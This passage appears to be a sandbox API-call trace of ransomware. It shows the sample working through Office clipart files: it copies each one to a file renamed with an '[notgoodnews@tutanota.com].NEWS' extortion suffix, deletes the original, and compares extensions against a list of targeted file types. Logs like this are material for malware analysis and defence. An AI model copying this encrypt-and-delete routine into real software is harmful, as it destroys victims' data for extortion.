Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.194] lstrlenW (lpString=".dbf") returned 4 [0236.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.194] lstrlenW (lpString=".1cd") returned 4 [0236.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.194] lstrlenW (lpString=".jpg") returned 4 [0236.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.195] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.195] lstrlenW (lpString="AN01173_.WMF") returned 12 [0236.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0236.219] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=26332) returned 1 [0236.219] CloseHandle (hObject=0x1c0) returned 1 [0236.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0236.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0236.286] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.286] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0236.336] GetLastError () returned 0x0 [0236.336] ReadFile (in: hFile=0x384, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0236.390] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0236.397] ReadFile (in: hFile=0x384, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.398] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.398] SetEndOfFile (hFile=0x35c) returned 1 [0236.398] CloseHandle (hObject=0x35c) returned 1 [0236.399] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.399] SetEndOfFile (hFile=0x384) returned 1 [0236.407] CloseHandle (hObject=0x384) returned 1 [0236.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0236.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.409] lstrlenW (lpString=".doc") returned 4 [0236.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.409] lstrlenW (lpString=".docx") returned 5 [0236.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.410] lstrlenW (lpString=".pdf") returned 4 [0236.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.410] lstrlenW (lpString=".xls") returned 4 [0236.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.410] lstrlenW (lpString=".xlsx") returned 5 [0236.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.410] lstrlenW (lpString=".ppt") returned 4 [0236.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.410] lstrlenW (lpString=".zip") returned 4 [0236.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.410] lstrlenW (lpString=".rar") returned 4 [0236.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.411] lstrlenW (lpString=".bz2") returned 4 [0236.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.411] lstrlenW (lpString=".7z") returned 3 [0236.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.411] lstrlenW (lpString=".dbf") returned 4 [0236.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.411] lstrlenW (lpString=".1cd") returned 4 [0236.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.411] lstrlenW (lpString=".jpg") returned 4 [0236.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.548] lstrlenW (lpString=".doc") returned 4 [0236.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.548] lstrlenW (lpString=".docx") returned 5 [0236.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.548] lstrlenW (lpString=".pdf") returned 4 [0236.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.548] lstrlenW (lpString=".xls") returned 4 [0236.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.548] lstrlenW (lpString=".xlsx") returned 5 [0236.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.548] lstrlenW (lpString=".ppt") returned 4 [0236.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.549] lstrlenW (lpString=".zip") returned 4 [0236.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.549] lstrlenW (lpString=".rar") returned 4 [0236.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.549] lstrlenW (lpString=".bz2") returned 4 [0236.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.549] lstrlenW (lpString=".7z") returned 3 [0236.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.549] lstrlenW (lpString=".dbf") returned 4 [0236.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.549] lstrlenW (lpString=".1cd") returned 4 [0236.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0236.551] lstrlenW (lpString=".jpg") returned 4 [0236.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.552] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.552] lstrlenW (lpString="AN01251_.WMF") returned 12 [0236.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0236.586] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=2756) returned 1 [0236.586] CloseHandle (hObject=0x35c) returned 1 [0236.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0236.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0236.588] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.589] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0236.591] GetLastError () returned 0x0 [0236.591] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xac4, lpOverlapped=0x0) returned 1 [0236.610] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0238.251] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.251] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.253] SetEndOfFile (hFile=0x1c0) returned 1 [0238.842] CloseHandle (hObject=0x1c0) returned 1 [0238.920] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.920] SetEndOfFile (hFile=0x35c) returned 1 [0239.548] CloseHandle (hObject=0x35c) returned 1 [0239.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0239.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.665] lstrlenW (lpString=".doc") returned 4 [0239.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.665] lstrlenW (lpString=".docx") returned 5 [0239.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.665] lstrlenW (lpString=".pdf") returned 4 [0239.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.665] lstrlenW (lpString=".xls") returned 4 [0239.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.666] lstrlenW (lpString=".xlsx") returned 5 [0239.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.666] lstrlenW (lpString=".ppt") returned 4 [0239.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.666] lstrlenW (lpString=".zip") returned 4 [0239.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.666] lstrlenW (lpString=".rar") returned 4 [0239.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.666] lstrlenW (lpString=".bz2") returned 4 [0239.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.666] lstrlenW (lpString=".7z") returned 3 [0239.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.667] lstrlenW (lpString=".dbf") returned 4 [0239.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.667] lstrlenW (lpString=".1cd") returned 4 [0239.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.667] lstrlenW (lpString=".jpg") returned 4 [0239.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.667] lstrlenW (lpString=".doc") returned 4 [0239.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.668] lstrlenW (lpString=".docx") returned 5 [0239.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.668] lstrlenW (lpString=".pdf") returned 4 [0239.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.668] lstrlenW (lpString=".xls") returned 4 [0239.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.668] lstrlenW (lpString=".xlsx") returned 5 [0239.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.668] lstrlenW (lpString=".ppt") returned 4 [0239.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.668] lstrlenW (lpString=".zip") returned 4 [0239.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.668] lstrlenW (lpString=".rar") returned 4 [0239.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.669] lstrlenW (lpString=".bz2") returned 4 [0239.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.669] lstrlenW (lpString=".7z") returned 3 [0239.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.669] lstrlenW (lpString=".dbf") returned 4 [0239.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.669] lstrlenW (lpString=".1cd") returned 4 [0239.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0239.669] lstrlenW (lpString=".jpg") returned 4 [0239.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.670] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0239.670] lstrlenW (lpString="AN01545_.WMF") returned 12 [0239.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0239.672] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=7372) returned 1 [0239.672] CloseHandle (hObject=0x3b0) returned 1 [0239.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0239.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0239.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0239.673] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.673] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0239.674] GetLastError () returned 0x0 [0239.674] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0239.679] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0239.682] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0239.682] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0239.682] SetEndOfFile (hFile=0x35c) returned 1 [0239.682] CloseHandle (hObject=0x35c) returned 1 [0239.683] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.683] SetEndOfFile (hFile=0x3b0) returned 1 [0239.938] CloseHandle (hObject=0x3b0) returned 1 [0239.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0239.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.955] lstrlenW (lpString=".doc") returned 4 [0239.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.955] lstrlenW (lpString=".docx") returned 5 [0239.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.955] lstrlenW (lpString=".pdf") returned 4 [0239.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.955] lstrlenW (lpString=".xls") returned 4 [0239.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.955] lstrlenW (lpString=".xlsx") returned 5 [0239.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.955] lstrlenW (lpString=".ppt") returned 4 [0239.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.955] lstrlenW (lpString=".zip") returned 4 [0239.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.955] lstrlenW (lpString=".rar") returned 4 [0239.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.956] lstrlenW (lpString=".bz2") returned 4 [0239.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.956] lstrlenW (lpString=".7z") returned 3 [0239.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.956] lstrlenW (lpString=".dbf") returned 4 [0239.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.956] lstrlenW (lpString=".1cd") returned 4 [0239.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.956] lstrlenW (lpString=".jpg") returned 4 [0239.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.957] lstrlenW (lpString=".doc") returned 4 [0239.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.957] lstrlenW (lpString=".docx") returned 5 [0239.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.957] lstrlenW (lpString=".pdf") returned 4 [0239.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.957] lstrlenW (lpString=".xls") returned 4 [0239.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.957] lstrlenW (lpString=".xlsx") returned 5 [0239.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.957] lstrlenW (lpString=".ppt") returned 4 [0239.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.958] lstrlenW (lpString=".zip") returned 4 [0239.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.958] lstrlenW (lpString=".rar") returned 4 [0239.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.958] lstrlenW (lpString=".bz2") returned 4 [0239.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.958] lstrlenW (lpString=".7z") returned 3 [0239.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.958] lstrlenW (lpString=".dbf") returned 4 [0239.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.958] lstrlenW (lpString=".1cd") returned 4 [0239.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0239.959] lstrlenW (lpString=".jpg") returned 4 [0239.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.959] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0239.959] 